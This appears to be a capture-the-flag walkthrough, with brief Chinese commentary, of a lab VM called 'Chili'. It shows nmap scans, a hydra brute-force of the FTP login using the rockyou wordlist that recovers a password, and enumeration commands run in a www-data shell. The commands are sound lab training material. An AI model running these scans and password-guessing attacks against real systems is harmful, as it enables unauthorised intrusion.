┌──(kali㉿kali)-[~/Downloads/chili_1] └─$ sudo nmap -sT -sV -sC -O -p21,80 192.1.1.140 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-06 07:54 EDT Nmap scan report for 192.1.1.140 Host is up (0.00030s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Chili |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 00:0C:29:B2:10:06 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Unix
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.69 seconds
开放了两个端口，ftp 的版本号搜索后发现只有拒绝服务漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(kali㉿kali)-[~/Downloads/chili_1] └─$ sudo nmap --script=vuln -p21,80 192.1.1.140 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-06 07:56 EDT Nmap scan report for 192.1.1.140 Host is up (0.00026s latency).
PORT STATE SERVICE 21/tcp open ftp 80/tcp open http |_http-stored-xss: Couldn\'t find any stored XSS vulnerabilities. |_http-csrf: Couldn\'t find any CSRF vulnerabilities. |_http-dombased-xss: Couldn\'t find any DOM based XSS. MAC Address: 00:0C:29:B2:10:06 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 37.47 seconds
┌──(kali㉿kali)-[~/Downloads/chili_1] └─$ hydra -l chili -P /usr/share/wordlists/rockyou.txt 192.1.1.140 ftp -t 32 Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-09 17:06:58 [DATA] max 32 tasks per 1 server, overall 32 tasks, 14344399 login tries (l:1/p:14344399), ~448263 tries per task [DATA] attacking ftp://192.1.1.140:21/ [STATUS] 576.00 tries/min, 576 tries in 00:01h, 14343823 to doin 415:03h, 32 active [STATUS] 590.33 tries/min, 1771 tries in 00:03h, 14342628 to doin 404:56h, 32 active [STATUS] 574.43 tries/min, 4021 tries in 00:07h, 14340378 to doin 416:05h, 32 active [21][ftp] host: 192.1.1.140 login: chili password: a1b2c3d4 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-09 17:14:47
www-data@chili:/$ sudo -l bash: sudo: command not found www-data@chili:/$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@chili:/$ uname -a uname -a Linux chili 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux www-data@chili:/$ ip a ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:0c:29:b2:10:06 brd ff:ff:ff:ff:ff:ff inet 192.1.1.140/24 brd 192.1.1.255 scope global dynamic ens33 valid_lft 1591sec preferred_lft 1591sec inet6 fe80::20c:29ff:feb2:1006/64 scope link valid_lft forever preferred_lft forever
